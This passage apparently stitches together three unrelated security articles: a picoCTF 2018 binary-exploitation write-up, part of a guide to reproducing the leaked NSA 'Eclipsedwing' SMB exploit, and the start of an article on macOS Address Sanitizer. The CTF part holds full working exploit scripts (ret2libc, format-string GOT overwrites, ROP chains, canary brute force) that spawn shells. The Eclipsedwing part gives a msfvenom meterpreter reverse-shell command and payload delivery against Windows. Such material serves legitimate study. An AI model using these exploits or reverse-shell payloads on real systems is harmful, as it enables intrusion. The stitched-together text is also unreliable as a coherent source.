printf("write: %pn", write);
printf("useful_string: %pn", useful_string);
printf("n");
vuln();
return 0;
}
是的，就是一个简单的ret2libc的应用，通过printf出的地址我们可以得到偏移量，然后去计算system的实际地址，然后把useful_string输出的地址，也就是”/bin/sh”当作参数来构造ROP来执行system(‘/bin/sh’)
我们先连上题目环境看下文件链接的libc文件的路径
Ep3ius@pico-2018-shell-2:/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833$ ldd *
vuln:
linux-gate.so.1 => (0xf77c5000)
libc.so.6 => /lib32/libc.so.6 (0xf75ff000)
/lib/ld-linux.so.2 (0xf77c6000)
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
libc = ELF('/lib32/libc.so.6')
buf = 'a'*0x9c
system_sym = libc.symbols['system']
puts_sym = libc.symbols['puts']
n.recvuntil('puts: 0x')
puts_addr = int(n.recvuntil('n'),16)
print hex(puts_addr)
n.recvuntil('useful_string: ')
sh_addr = int(n.recvuntil('n'),16)
print hex(sh_addr)
system_addr = (puts_addr - puts_sym) + system_sym
payload = buf + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
n.sendline(payload)
n.interactive()
### echooo
➜ echooo file echo
echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562ca051cb171db19b5f0bd8fe7, not stripped
➜ echooo checksec echo
[*] '/home/Ep3ius/pwn/process/picoCTF2018/echooo/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1)
{
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
审计完源码后发现在main函数末尾存在可多次利用的格式化字符串漏洞，而flag已经读入到栈上本来的解题思路应该是通过格式化字符串读栈上flag所在的位置来获得flag，但我的第一想法是直接改printf_got为system的实际地址拿shell
先测出来偏移为11
➜ echooo ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> aaaa%11$x
aaaa61616161
然后通过p32(printf_got)+”%11$s”泄露出printf的实际地址来计算偏移以此得到system的实际地址
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./echo')
n = remote('2018shell2.picoctf.com',57169)
elf = ELF('./echo')
libc = ELF('/lib32/libc.so.6')
#printf_got = elf.got['printf']
printf_got = 0x804a00c
printf_sym = libc.symbols['printf']
system_sym = libc.symbols['system']
payload = p32(printf_got)+'%11$s'
n.recvuntil('>')
n.sendline(payload)
#leak
printf_addr1 = n.recvuntil('n')
printf_addr = u32(printf_addr1[5:9])
print hex(printf_addr)
offset = printf_addr - printf_sym
system_addr = offset + system_sym
print hex(system_addr)
payload_fmt = fmtstr_payload(11,{printf_got:system_addr})
n.recvuntil('>')
n.sendline(payload_fmt)
sleep(0.1)
n.sendline('/bin/sh')
n.interactive()
FLAG
picoCTF{foRm4t_stRinGs_aRe_DanGer0us_e3d226b2}
### authenticate
➜ authenticate file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=36db9dbaf46e8f9c9055839ffedd30fe65050a47, not stripped
➜ authenticate checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/authenticate/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
审计下源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
int authenticated = 0;
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
void read_flag() {
if (!authenticated) {
printf("Sorry, you are not *authenticated*!n");
}
else {
printf("Access Granted.n");
flag();
}
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Would you like to read the flag? (yes/no)n");
fgets(buf, sizeof(buf), stdin);
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) {
puts("Received Unknown Input:n");
printf(buf);
}
read_flag();
}
简单的过一遍我们可以得到程序的大致流程，如果输入的字符串内带有”no”就退出程序，如果输入的字符串带有”yes”且没有”no”便进入unknown_input分支并触发了一个格式化字符串漏洞，然后程序继续执行进入read_flag()函数里，先进行一个判断，如果authenticated不为0就能调用flag函数来getflag，而authenticated是在一开始就全局定义为0了，这时我们能想到通过利用前面的格式化字符串来修改authenticated的值
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./auth')
n = remote('2018shell2.picoctf.com',52398)
elf = ELF('./auth')
puts_got = elf.got['puts']
puts_sym = elf.symbols['puts']
authenticated_addr = 0x0804A04C
payload = fmtstr_payload(11,{authenticated_addr:0xDEADBEEF})
n.sendline(payload)
n.interactive()
FLAG
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}
### got—shell?
➜ got-shell file auth
auth: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c1f84b034b4906cce036c3748d4b5a5c3eae0d8, not stripped
➜ got-shell checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/got-shell/auth'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
看一波源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...n");
exit(1);
}
开始还以为自己是不是C没学好，这题怎么可能这么简单输入两个地址就getshell了，结果发现还真的是。程序的逻辑大致为输入一个十六进制的地址，然后再输入一个十六进制的数值，然后把第一次输入的地址的值替换成输入的数值，我们可以很容易想到用win函数的地址去替换puts_got，这样在程序调用puts时就相当调用了win函数来getshell
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./auth')
n = remote('2018shell2.picoctf.com',23731)
elf = ELF('./auth')
puts_got = elf.got['puts']
win_addr = 0x0804854B
n.sendline(hex(puts_got))
sleep(0.1)
n.sendline(hex(win_addr))
n.interactive()
FLAG
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_a8321d81}
### rop chain
➜ ropchain file rop
rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=86b31b317beb6a0fac1439ef6b2a271e0132537e, not stripped
➜ ropchain checksec rop
[*] '/home/Ep3ius/pwn/process/picoCTF2018/ropchain/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
看一下源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.n");
}
else {
printf("Nope. Try a little bit harder.n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!n");
}
else {
printf("You won't get the flag that easy..n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
审计过代码后我们可以得到程序中各个函数的功能和作用，像win_function1函数的作用为将全局变量win1的值赋为1，win_function2函数的作用是在win1非0且传入的参数为0xBAAAAAAD时将全局变量win2的值赋为1，flag函数的作用是当全局变量win1，win2都不为0且传入的参数为0xDEADBAAD时输出flag，这样我们就知道要通过vuln函数里的栈溢出来构造ROP去分别执行这三个函数getflag
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./rop')
elf = ELF('./rop')
func1 = 0x080485CB
func2 = 0x080485d8
flag = 0x0804862B
pop_ret = 0x080485d6
buf = 'a'*0x18
payload = buf + 'aaaa'
payload += p32(func1)+p32(pop_ret) + p32(0)
payload += p32(func2)+p32(pop_ret) + p32(0xBAAAAAAD)
payload += p32(flag)+p32(pop_ret) + p32(0xDEADBAAD)
n.recvuntil('>')
n.sendline(payload)
n.interactive()
FLAG
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_6e6efe52}
### buffer overflow 3
➜ bufferoverflow3 file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=49bf81f7f16a1c26cfbbb0a70bb89246fadc370e, not stripped
➜ bufferoverflow3 checksec vuln
[*] '/home/Ep3ius/pwn/process/picoCTF2018/bufferoverflow3/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
嗯，没开canary，看一波源码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 32
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!n");
exit(-1);
}
printf("Ok... Now Where's the Flag?n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
打开审计后发现它自己实现了一个简易的Canary防护函数，我们针对canary常用的攻击方式中Stack Smashing Protector Leak
攻击可以立马否决，因为错误回显并没有输出avgr[0]这个必要条件。程序中canary的值是从一个内容不变的文本文档中读取的，所以我们可以通过写爆破脚本去把canary的具体内容输出出来。
通过ida我们可以得到canary插入在栈上0x10的位置，输入的首地址位于栈上0x30，
char buf; // [esp+28h] [ebp-30h]
int canary; // [esp+48h] [ebp-10h]
我们运行程序测试一下
➜ bufferoverflow3 ./vuln
How Many Bytes will You Write Into the Buffer?
> 32
Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Ok... Now Where's the Flag?
➜ bufferoverflow3 ./vuln
How Many Bytes will You Write Into the Buffer?
> 33
Input> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** Stack Smashing Detected *** : Canary Value Corrupt!
确认canary插入的位置为0x20
bp.py
from pwn import*
#canary = 'h_?='
canary = ''
for i in range(4):
for a in range(0xff):
n = process('./vuln')
n.recvuntil('> ')
n.sendline('36')
n.recvuntil('Input> ')
payload = 'a'*0x20+canary+chr(a)
#print chr(a)
n.send(payload)
try:
n.recvuntil('*** Stack Smashing Detected ***')
except:
if canary=='':
canary = chr(a)
else:
canary += chr(a)
n.close()
break
else:
n.close()
print 'canary:',canary
通过爆破我们得到canary的值为”h_?=”实在是鬼畜，本以为是PICO的我还是太天真了
在知道canary的情况下，剩下的就是简单的栈溢出劫持程序执行流至win函数就能get flag了
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
n = process('./vuln')
elf = ELF('./vuln')
canary = 'h_?='
win_addr = 0x080486EB
payload = 'a'*0x20+canary+'a'*(0x10-len(canary)+4)+p32(win_addr)
n.recvuntil('> ')
n.sendline('100')
n.recvuntil('Input> ')
n.sendline(payload)
n.interactive()
### echo back
➜ echo back file echoback
echoback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0980ead6e67788ea13395e9bdd23f0fe3d0b2c8, not stripped
➜ echo back checksec echoback
[*] '/home/Ep3ius/pwn/process/picoCTF2018/echo back/echoback'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开了NX和Canary，审计下源码……然而这题并没有给，那就开ida看一下程序干了些什么
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST1C_4
setvbuf(_bss_start, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
vuln();
return 0;
}
我们在vuln函数里发现存在一个格式化字符串漏洞，由于我太菜了没能想出能只用一次格式化字符串就能getshell的payload，所以就想先把puts_got改成了vuln函数的地址，让这个格式化字符串漏洞能多次触发。
我们审计过程序后能得到的大致思路为先测出偏移，修改puts_got为vuln函数地址使得漏洞能多次触发，然后通过p32(system_got)+fmt_offset来得到system的真实地址，再把system的真实地址写入printf_got，然后在下一轮循环中输入’/bin/sh’后printf(‘/bin/sh’)就相当执行了system(‘/bin/sh’)来getshell
➜ echo back ./echoback
input your message:
aaaa%7$x
aaaa61616161
Thanks for sending the message!
EXP
from pwn import*
context(os='linux',arch='i386',log_level='debug')
#n = process('./echoback')
n = remote('2018shell2.picoctf.com',37402)
elf = ELF('./echoback')
printf_got = elf.got['printf']
puts_got = elf.got['puts']
system_got = elf.got['system']
vuln_addr = 0x080485AB
payload1 = fmtstr_payload(7,{puts_got:vuln_addr})
n.recvuntil('message:')
n.sendline(payload1)
leak_payload = p32(system_got)+'%7$s'
n.send(leak_payload)
n.recvuntil('message:')
system_addr = u32(n.recv()[5:9])
print hex(system_addr)
payload = fmtstr_payload(7,{printf_got:system_addr})
n.sendline(payload)
n.interactive()
### are you root?
➜ are_you_root file auth
auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=42ebad5f08a8e9d227f3783cc951f2737547e086, not stripped
➜ are_you_root checksec auth
[*] '/home/Ep3ius/pwn/process/picoCTF2018/are_you_root/auth'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
源码分析过一遍后,我们锁定了几个存在漏洞可能的分支
输入用的是fgets
if(fgets(buf, 512, stdin) == NULL)
break;
typedef enum auth_level {
ANONYMOUS = 1,
GUEST = 2,
USER = 3,
ADMIN = 4,
ROOT = 5
} auth_level_t;
struct user {
char *name;
auth_level_t level;
};
login分支
else if (!strncmp(buf, "login", 5))
{
if (user != NULL)
{
puts("Already logged in. Reset first.");
continue;
}
arg = strtok(&buf[6], "n");
if (arg == NULL)
{
puts("Invalid command");
continue;
}
user = (struct user *)malloc(sizeof(struct user));
if (user == NULL)
{
puts("malloc() returned NULL. Out of Memoryn");
exit(-1);
}
user->name = strdup(arg);
printf("Logged in as "%s"n", arg);
}
reset分支
else if(!strncmp(buf, "reset", 5))
{
if (user == NULL)
{
puts("Not logged in!");
continue;
}
free(user->name);
user = NULL;
puts("Logged out!");
}
我们先登陆一个name=’a’*0x10,level=3的账号，下断点看一下堆里面的分布
gdb-peda$ parseheap
addr prev size status fd bk
0x603000 0x0 0x410 Used None None
0x603410 0x0 0x20 Used None None
0x603430 0x0 0x20 Used None None
gdb-peda$ x/8x 0x603410
0x603410: 0x0000000000000000 0x0000000000000021
0x603420: 0x0000000000603440 <-*name 0x0000000000000003 <-level
0x603430: 0x0000000000000000 0x0000000000000021
0x603440: 0x6161616161616161 <-name 0x6161616161616161 <-name
gdb-peda$
0x603450: 0x0000000000000000 0x0000000000020bb1
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
0x603480: 0x0000000000000000 0x0000000000000000
然后reset这个账号，再看下堆
gdb-peda$ x/8x 0x603410
0x603410: 0x0000000000000000 0x0000000000000021
0x603420: 0x0000000000603440 <-*name 0x0000000000000003
0x603430: 0x0000000000000000 0x0000000000000021
0x603440: 0x0000000000000000 0x6161616161616161 <- over_name
gdb-peda$
0x603450: 0x0000000000000000 0x0000000000020bb1
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
0x603480: 0x0000000000000000 0x0000000000000000
发现0x603440里的值已经置为NULL了，但0x603448部分的值却没被清0，又因为我们的name可以输入很长，并且在建立账号时并没有对level置0操作，所以如果我们去构造一个name使其可以覆盖到下一个堆的level位就可以做到下一个账号的level位可以任意修改
我们再建一个账号看看下一个账号的level位和前一个账号的name的相对位置
gdb-peda$ x/8x 0x603410
0x603410: 0x0000000000000000 0x0000000000000021
0x603420: 0x0000000000603440 0x0000000000000000
0x603430: 0x0000000000000000 <-name 0x0000000000000021
0x603440: 0x0000000000603460 0x0000000000000003 <-level
通过计算我们可以很容易得到name的起始位置和下一个账号的level位距离位8，那么我们直接构造’a’*0x8+p64(5)就能设好下一个账号的level位
EXP
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = remote('2018shell2.picoctf.com',41208)
#n = process('./auth')
elf = ELF('./auth')
def reset():
n.recvuntil('> ')
n.sendline('reset')
def login(name):
n.recvuntil('> ')
n.sendline('login '+name)
def getflag():
n.sendline('get-flag')
payload = 'a'*8+p64(5)
login(payload)
gdb.attach(n)
reset()
login('Ep3ius')
getflag()
n.interactive()
FLAG
picoCTF{m3sS1nG_w1tH_tH3_h43p_bc7d345a}
### can-you-gets-me
➜ can-you-gets-me file gets
gets: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped
➜ can-you-gets-me checksec gets
[*] '/home/Ep3ius/pwn/process/picoCTF2018/can-you-gets-me/gets'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("GIVE ME YOUR NAME!n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
看了一波源码，只给了一个gets和printf，一开始我还想说是不是用ret2dl-resolve，后来肝了一天都没肝出，查报错的时候发现没办法找到plt表，就在想这个会不会是静态编译的文件，就用ldd检查了下
➜ can-you-gets-me ldd gets
不是动态可执行文件
➜ can-you-gets-me
emmmm，居然还真是静态库编译的那么我们试试用ropgadget的ropchain来构造ROP链玄学一键getshell
ROPgadget --binary gets --ropchain
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
➜ can-you-gets-me
结果确实只要溢出后执行就能getshell了
EXP
from pwn import*
from struct import pack
n = process('./gets')
# Padding goes here
p = 'a'*0x18 + 'aaaa' # buf
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
n.recvuntil('NAME!')
n.sendline(p)
n.interactive()
FLAG
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_cfdfc687} | 社区文章 |
# 【技术分享】NSA武器库之Eclipsedwing复现
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
##
**作者** **：**[ **ComSoc**
****](http://bobao.360.cn/member/contribute?uid=2869876403)
**预估稿费：300RMB**
**投稿方式：发送邮件至linwei#360.cn** **，或登陆网页版在线投稿**
**导语**
自shadow
Brokers公布NSA泄露工具后，各路大神陆陆续续发表泄露工具各种exp复现过程，又WannaCry、EternalRocks勒索病毒的肆虐，无一不表现出泄露工具的威力，但泄露工具中光exploit就达15个，网络上搜索到的复现教程也就6个（Eternalblue，Eternalchampion，Eternalromance，Explodingcan，Esteemaudit，Easybee），还有一大半没有相关资料。那剩下的一大半就不重要吗？显然不是，NSA工具集值得学习的地方还有好多，于是有了今天的文章，有何不妥之处请各路大神指教！
**前期准备**
##
**靶机环境**
**
**
**Eclipsedwin漏洞复现过程**
Use Eclipsedwin
设置目标IP、端口和NetBIOSName，NetBIOSName是计算机的标识名，该名字主要用于局域网中计算机之间的相互访问，可通过在cmd下输入hostname获得。
然后基本默认，
Rpctouch Succeeded
Eclipsedwingtouch Succeeded
这时候在靶机上已经产生了一条连接
**
**
**利用Pcdlllauncher注入dll**
使用Pcdlllauncher
需要注意的是LPEntryname的路径需要真实存在，找到自己对应的文件进行修改。
然后使用生成用于反弹shell的dll payload:
并使用python创建一个HTTP服务器，方便攻击机下载payload，
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.226.128 lport=8090 --platform windows -f dll -o eclipsedwin.dll
python -m SimpleHTTPServer 9090
攻击机创建tmp目录，并将eclipsedwin_exe.dll下载到tmp目录下,然后进行配置，对PCBehavior选项选0
然后执行
运行提示“FAILED TO DUPLICATE SOCKET”，但payload已经在靶机上运行了。查看metasploit,成功返回shell
**
**
**Eclipsedwin支持的系统**
NBT协议即net bios over TCP/IP，属于SMB(Server Message Block)
Windows协议族，用于文件和打印共享服务。NBT(NetBIOS over TCP/IP) 使用137(UDP), 138(UDP) and 139
(TCP）来实现基于TCP/IP的NETBIOS网际互联。
**防范手段**
安装MS08-067补丁，开启防火墙过滤137-139，445端口，关闭SMB服务。 | 社区文章 |
# Address Sanitizer in macOS
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
# Address Sanitizer in macOS
* [简介](http://mahua.jser.me/proxy.html#1)
* [asan原理](http://mahua.jser.me/proxy.html#2)
* [asan实现](http://mahua.jser.me/proxy.html#3)
* [参考](http://mahua.jser.me/proxy.html#4)
## 简介
##
前几天， Keen
Team的@marcograss在其博客上[发布](https://marcograss.github.io/bug/2016/08/03/libtidy-global-bof.html)了一个使用Address Sanitizer(aka asan) 找到的堆溢出漏洞。在这里讨论一下asan的具体实现。
### 本文涉及的环境
###
1. macOS 10.11.6
2. Xcode 7.3.1 ( **确保使用苹果官方的clang， 其与开源clang生成的IR有些不同** )
3. [clang-703.0.31](http://opensource.apple.com/source/clang/clang-703.0.31/)
### 什么是asan
###
asan是一个基于LLVM、由Google开发的快速查找内存错误的探测器。 在编译的时候插入相关的辅助和检测代码， 以此完成探测的工作。
后面将更加详细地介绍asan的结构。 asan很早就合并到了LLVM开源分支中， 并在Xcode7.0中正式合并到苹果的编译器中，
作为开发者调试c++代码并及时发现相应的内存错误的手段之一。
目前可以检测源代码中的几乎全部的栈内存和堆内存错误。
### asan的使用
###
先写一个简单的含有栈溢出的程序：
// test.c
#include <stdio.h>
void f(char c)
{
printf("%c", c);
}
int main(void)
{
char a[32];
char b[32];
char c[50];
a[1]='1';
b[32]='a'; //stack overflow
c[100]='c'; //stack overflow
return 0;
}
使用如下的命令编译这个程序：
clang test.c -o test -fsanitize=address
运行程序， 将得到如下的结果：
在asan给出的报告中， 可以得到如下的信息： 1. 当前错误是一个栈溢出的问题。 2. 当前栈上有三个对象， 在访问第二个对象的时候， 发生了栈溢出。
3\. asan在正常的栈对象周围放置了一部分的检测对象， 用来作为检测手段。
## asan原理
##
在前一个小节中， 讨论过asan是一个基于LLVM的开源组件。 在这里， 将会详细地讨论asan的原理。
### asan检测方式
###
C语言在做内存访问的时候， 没有任何安全可言。 这就导致了程序员在编写代码的时候， 会遇到很多奇奇怪怪的问题，同时也为软件安全带来了很多的挑战。
### 内存布局
###
通过上述的介绍， asan检测非法地址访问的方式是通过“影子内存”作为判断某个虚拟内存地址是否是“中毒”的。asan在内存分配的时候， 大致的内存分布如下：
